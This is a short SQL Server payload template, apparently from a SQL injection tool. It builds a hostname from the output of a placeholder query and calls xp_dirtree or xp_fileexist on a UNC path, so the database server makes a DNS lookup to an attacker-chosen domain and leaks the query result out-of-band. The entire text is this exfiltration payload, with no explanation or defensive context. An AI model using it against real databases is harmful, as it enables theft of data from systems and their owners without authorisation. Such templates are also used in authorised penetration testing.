1DECLARE @host varchar(1024); 2SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%'; 3EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"') 4# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"') 5 6